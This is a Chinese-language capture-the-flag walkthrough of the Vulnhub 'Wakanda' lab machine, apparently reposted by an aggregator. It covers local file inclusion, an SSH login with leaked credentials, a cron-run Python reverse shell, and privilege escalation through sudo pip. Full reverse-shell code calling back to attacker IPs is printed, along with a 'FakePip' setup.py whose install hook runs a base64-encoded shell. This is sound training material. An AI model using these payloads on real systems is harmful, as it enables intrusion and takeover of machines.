Vulnhub入门实战-Wakanda

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub入门实战-Wakanda相关的知识,希望对你有一定的参考价值。

下载链接

描述:

1.探测主机的IP地址

2.使用nmap查看靶机开放端口。

开放了4个端口,老样子先从http下手。

3.进去发现没什么可以点的,于是进行目录扫描。

状态码都是200,但是size为0,所以返回的都是空页面。

查看主页源代码,发现一个注释。

猜测存在本地文件包含漏洞,抓包看一下。



成功读取主页源码,并发现密码,猜测下一步根据账号和密码进行ssh登录。
账户猜测就是主页的namemamadou,passwdNiamey4Ever227!!!

这里的使用凭证是有效的,但是还未得到shell,只是进入python shell,通过python命令获取shell。

import pty
pty.spawn("/bin/sh")


成功获取shell,并拿到第一个flag。
查看/etc/passwd文件。

用户devops具有bash的访问权限,查看该用户的所有文件。

找到了flag2的文件位置,但是权限不够,(偷偷看了别人的wp,发现还有文件没有找到)
find / -user devops 2>/dev/null -ls
该命令将权限属于devops的文件全部找到,并无错误的显示出来。

这里的python文件引起了注意,查看一下内容。

打开tmp目录下的test文件,并写入test。查看一下test文件的权限。

test文件的权限是devops,所以它运行时将拥有devops的用户权限。如果我们能够编写一个python反向连接程序并将其替换为".antivirus.py",那么我们将获取devops的权限。
python反向连接程序:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.186",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

将该文件放在kali的/var/www/html上,开启apache服务,让靶机去下载。




(该脚本会自动执行,只需等待几分钟就会连接)

查看用户sudo权限。只有pip可以用。

网上找一个exp。
exp链接

from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.199.112' 
 
    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \\'%s\\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\\'HISTFILE\\', \\'/dev/null\\'); pty.spawn(\\'/bin/bash\\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass='install': CustomInstall)

同样的wget方法,将文件上传至靶机,之后转移至tmp目录,在devops的用户下使用该命令:

sudo pip install . --upgrade --force-reinstall



成功得到三个flag。

以上是关于Vulnhub入门实战-Wakanda的主要内容,如果未能解决你的问题,请参考以下文章

Vulnhub靶机渗透测试实战:入门DC-1靶机完全渗透

Vulnhub入门实战3-DC:3

Vulnhub入门实战3-DC:3

Vulnhub入门实战 4-DC:4

Vulnhub入门实战 4-DC:4

Vulnhub入门实战2-DC:2